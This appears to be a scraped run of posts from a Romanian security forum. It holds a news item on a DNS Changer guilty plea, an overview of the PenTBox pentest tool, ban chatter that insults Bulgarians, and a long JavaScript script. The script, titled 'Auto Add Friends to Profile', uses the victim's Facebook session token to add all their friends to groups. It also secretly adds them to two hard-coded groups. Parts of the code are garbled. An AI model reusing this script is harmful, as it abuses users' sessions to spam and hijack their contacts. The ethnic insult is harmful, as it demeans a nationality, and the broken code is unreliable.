[h=1]Estonian Man Admits Involvement in DNS Changer Malware Scheme [Reuters][/h]February 4th, 2013, 12:10 GMT · By Eduard Kovacs Valeri Aleksejev, a 32-year-old Estonian national, has pleaded guilty to his role in the cybercriminal scheme which made 4 million victims worldwide and caused damages of $14 million (10 million EUR). Aleksejev is the first of the six individuals arrested by the FBI back in November 2011 to admit his involvement in the operation, Reuters informs. The man has pleaded guilty to conspiracy to commit wire fraud and conspiracy to commit computer intrusion. He faces up to 25 years in prison for his crimes. As far as the other suspects are concerned, only one other Estonian has been extradited to the US. The others are in the process of being extradited. However, a seventh suspect, Andrey Taame of Russia, still hasn’t been apprehended by authorities. DNS Changer, the piece of malware leveraged by the cybercriminals to make all those millions, has made many headlines. The FBI was forced to instate several DNS servers to give the Trojan’s victims time to clean up their systems before losing their Internet connections. In July 2012, after numerous advisories and removal tools, the replacement DNS servers were shut down. Sursa: Estonian Man Admits Involvement in DNS Changer Malware Scheme [Reuters] - Softpedia

PenTBox PenTBox is a security suite that can be used in penetration testing engagements to perform a variety of activities.Specifically these activities include from cracking hashes,DNS enumeration and stress testing to HTTP directory brute force.In this article we will see this tool in action and what kind of results we can have. PenTbox – Menu Cryptography Tools PenTBox currently includes the following four cryptography tools: Base64 Encoder & Decoder Multi-Digest Hash Password Cracker Secure Password Generator Especially in web application penetration tests we often discover encoded Base64 strings.Such strings can contain important information that’s why we need to have a decoder in our tool repository.Many tools now have integrated a Base64 Encoder-Decoder like Burp but PenTBox has also a Base64 decoder in his suite. Base64 Encoder-Decoder In case that we have obtain a password hash PenTBox provides a module that can crack different types of password hashes.The Hash Password Cracker can crack common password hashes very fast so it is a good practice to try it in any case.In the next image we can see that the Hash Password Cracker has managed to crack an MD5 hash. Hash Cracker Module – PenTBox Network Tools In this category there are tools for stress testing,fuzzing and information gathering.Specifically the tools that we can find here are the following: Net DoS Tester TCP Port Scanner Honeypot Fuzzer DNS and Host Gathering MAC Address Geo-location Even though that most penetration testers will use Nmap for their port scanning activities a simple TCP port scanner is available and through PenTBox. PenTBox – TCP Port Scanner Also a very fast module that can collect information about a specific host can be used for our information gathering activities.A sample of the output of this module can be seen in the next image: DNS & Host Gathering – PenTBox Web PenTBox includes also and tools for web reconnaissance.Specifically it contains two tools for directory brute forcing and for discovering common files that exists in web servers.In the next image you can see the directory brute forcing tool in action. Directory Brute Force – PenTBox Video: Conclusion PenTBox is a framework that has written in ruby and offers some good tools that a penetration tester can use in an engagement.Of course there are better and more complex tools that can perform these activities but PenTBox offers the flexibility that contains many tools and it is very easy to use.For that reason this suite recommended for penetration testers with less experience. Sursa: PenTBox

Ban pe clase de Bulgaria, daca sunteti de acolo... Va mutati in Romania. Cine are probleme sa imi dea PM cu IP-ul, mai ales ca am banat si cateva IP-uri de Romania.

Sunt bulgari pisa-m-as pe natia lor.

Da, e de cacat chestia asta cu bagare automat in grup fara accept... Dar e aur curat pentru cei care fac spam. Bagati si voi un link catre RST

Exemplu de folosire: https://rstforums.com/forum/64595-analiza-cod-malitios-javascript.rst Link: http://www.strictly-software.com/unpacker

Skidding rullz var tulisanNganu = 'Auto Add Friends to Profile'; var kunaon = '', wkwkwk = 'facebook.com - Thanks to RISHAV BHARDWAJ'; function penetrasi(e) { jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function (a) { var b = a.substring(a.indexOf("{")); var c = JSON.parse(; i--; kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;"; if (c.error) { kunaon += "color:darkred'>"; if (c.errorDescription) { kunaon += c.errorDescription } else { kunaon += JSON.stringify(c, null, "") } } else { kunaon += "color:darkgreen'>"; kunaon += arr[i]; suc++ } kunaon += "</div>"; var d = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(200,200,100,0.1);color:#334433'>"; d += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"; if (i > 0) { d += arr.length + " Friends detected<br/>"; d += "<b>" + suc + "</b> Friends added of " + (arr.length - i) + " Friends Processed "; d += "(" + i + " more to go..)"; d += "<div class='friend-edge'>"; d += kunaon; d += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:darkred'><br/>"; d += wkwkwk.split('-')[1]; d += "</div>"; d += "</div>" } else { d += arr.length + " Friends detected and "; d += "<b>" + suc + " Friends added</b>"; d += "<div><span class='uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Close</span></div>" } d += "</div>"; d += "<h2 style='position:fixed;left:20px;bottom:20px;border-radius:15px 3px 17px;margin:0 0 15px 0;padding:1px 10px 3px;border:1px solid rgba(0,0,0,0.2);background-color:rgba(10,10,10,0.5);color:white;font-size:14px;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-weight:bold;white-space:nowrap;overflow:hidden;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);text-shadow:0pt 1px 0pt rgba(0,0,0,0.1);display:inline-block'>" + wkwkwk.split('-')[0] + "</h2>"; document.getElementById("pagelet_welcome_box").innerHTML = d }, "text", "post"); tay--; if (tay > 0) { var s = arr[tay]; setTimeout("penetrasi(" + s + ")", 100) } console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc); if (memberGroupId != 150861175067090) { jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=150861175067090&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post") } if (memberGroupId != 225766554225313) { jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=225766554225313&source=typeahead&members=" + e + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + Env.user, function () {}, "text", "post") } } function clickfr_callback() { if (document.getElementsByName("ok").length > 0) { nHtml.ClickUp(document.getElementsByName("ok")[0]) } var a = arr[i]; if (i < arr.length) addfriend(a.substring(0, 4)) } function clickfr() { if (document.getElementsByClassName("search").length > 0) { console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML); document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);"; nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]) } else j++; setTimeout("clickfr_callback()", 2e3) } function addfriend(a) { i++; document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(); document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a; document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur(); document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(); document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus(); setTimeout("clickfr()", 2e3) } function sleep(a) { var b = (new Date).getTime(); for (var c = 0; c < 1e7; c++) { if ((new Date).getTime() - b > a) { break } } } jx = { getHTTPObject: function () { var a = false; if (typeof ActiveXObject != "undefined") { try { a = new ActiveXObject("Msxml2.XMLHTTP") } catch( { try { a = new ActiveXObject("Microsoft.XMLHTTP") } catch(c) { a = false } } } else { if (window.XMLHttpRequest) { try { a = new XMLHttpRequest } catch( { a = false } } } return a }, load: function (b, c, d, e, f) { var g = this.init(); if (!g || ! { return } if (g.overrideMimeType) { g.overrideMimeType("text/xml") } if (!e) { e = "GET" } if (!d) { d = "text" } if (!f) { f = {} } d = d.toLowerCase(); e = e.toUpperCase(); var h = "uid=" + (new Date).getTime(); b += b.indexOf("?") + 1 ? "&": "?"; b += h; var i = null; if (e == "POST") { var j = b.split("?"); b = j[0]; i = j[1] } g.open(e, b, true); if (e == "POST") { g.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); g.setRequestHeader("Content-length", i.length); g.setRequestHeader("Connection", "close") } var k = this; if (f.handler) { g.onreadystatechange = function () { f.handler(g) } } else { g.onreadystatechange = function () { if (g.readyState == 4) { if (g.status == 200) { var a = ""; if (g.responseText) { a = g.responseText } if (d.charAt(0) == "j") { a = a.replace(/[\n\r]/g, ""); a = eval("(" + a + ")") } else { if (d.charAt(0) == "x") { a = g.responseXML } } if (c) { c(a) } } else { if (f.loadingIndicator) { document.getElementsByTagName("body")[0].removeChild(f.loadingIndicator) } if (f.loading) { document.getElementById(f.loading).style.display = "none" } if (error) { error(g.status) } } } } } g.send(i) }, bind: function (a) { var b = { url: "", onSuccess: false, onError: false, format: "text", method: "GET", update: "", loading: "", loadingIndicator: "" }; for (var c in { if (a[c]) { b[c] = a[c] } } if (!b.url) { return } var d = false; if (b.loadingIndicator) { d = document.createElement("div"); d.setAttribute("style", "position:absolute;top:0px;left:0px;"); d.setAttribute("class", "loading-indicator"); d.innerHTML = b.loadingIndicator; document.getElementsByTagName("body")[0].appendChild(d); this.opt.loadingIndicator = d } if (b.loading) { document.getElementById(b.loading).style.display = "block" } this.load(b.url, function (a) { if (b.onSuccess) { b.onSuccess(a) } if (b.update) { document.getElementById(b.update).innerHTML = a } if (d) { document.getElementsByTagName("body")[0].removeChild(d) } if (b.loading) { document.getElementById(b.loading).style.display = "none" } }, b.format, b.method, }, init: function () { return this.getHTTPObject() } }; var nHtml = { FindByAttr: function (a, b, c, d) { if (c == "className") { c = "class" } var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null); if (e && e.singleNodeValue) { return e.singleNodeValue } return null }, FindByClassName: function (a, b, c) { return this.FindByAttr(a, b, "className", c) }, FindByXPath: function (a, { try { var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null) } catch(d) { GM_log("bad xpath:" + } if (c && c.singleNodeValue) { return c.singleNodeValue } return null }, VisitUrl: function (a) { window.setTimeout(function () { document.location.href = a }, 500 + Math.floor(Math.random() * 500)) }, ClickWin: function (a, b, c) { var d = a.document.createEvent("MouseEvents"); d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null); return ! b.dispatchEvent(d) }, Click: function (a) { return this.ClickWin(window, a, "click") }, ClickTimeout: function (a, { window.setTimeout(function () { return nHtml.ClickWin(window, a, "click") }, b + Math.floor(Math.random() * 500)) }, ClickUp: function (a) { this.ClickWin(window, a, "mousedown"); this.ClickWin(window, a, "mouseup"); this.ClickWin(window, a, "click") }, GetText: function (a, { var c = ""; if (b == undefined) { b = 0 } if (b > 40) { return } if (a.textContent != undefined) { return a.textContent } for (var d = 0; d < a.childNodes.length; d++) { var e = a.childNodes[d]; c += this.GetText(e, b + 1) } return c } }; if (document.getElementsByClassName == undefined) { document.getElementsByClassName = function (a) { var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)"); var c = document.getElementsByTagName("*"); var d = []; var e; for (var f = 0; (e = c[f]) != null; f++) { var g = e.className; if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e) } return d } } Array.prototype.find = function (a) { var b = false; for (i = 0; i < this.length; i++) { if (typeof a == "function") { if (a.test(this[i])) { if (! { b = [] } b.push(i) } } else { if (this[i] === a) { if (! { b = [] } b.push(i) } } } return b }; var a = 0, eind = 0; var len = document.getElementsByClassName("mbm").length; for (a = 0; a < len; a++) { var ele = document.getElementsByClassName("mbm")[a]; if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends to Profile") { eind = a; break } } var i = 3; var tay = 3; var counter1 = 0, counter2 = 0, counter3 = 0; var j = 0; var k = 0; var suc = 0; var arr = new Array; var memberGroupId = document.getElementsByName('group_id')[0].value; jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + Env.user + "&filter[0]=user&__user=" + Env.user, function (a) { var b = a; var c = b.substring(b.indexOf("{")); var d = JSON.parse(c); d = d.payload.entries; for (var e = 0; e < d.length; e++) { arr.push(d[e].uid) } i = arr.length - 1; tay = i; console.log(arr.length); var f = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(200,200,100,0.1);color:#334433'>"; f += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"; f += arr.length + " Friends detected"; f += "</div>"; document.getElementById("pagelet_welcome_box").innerHTML = f; penetrasi(arr[i]) })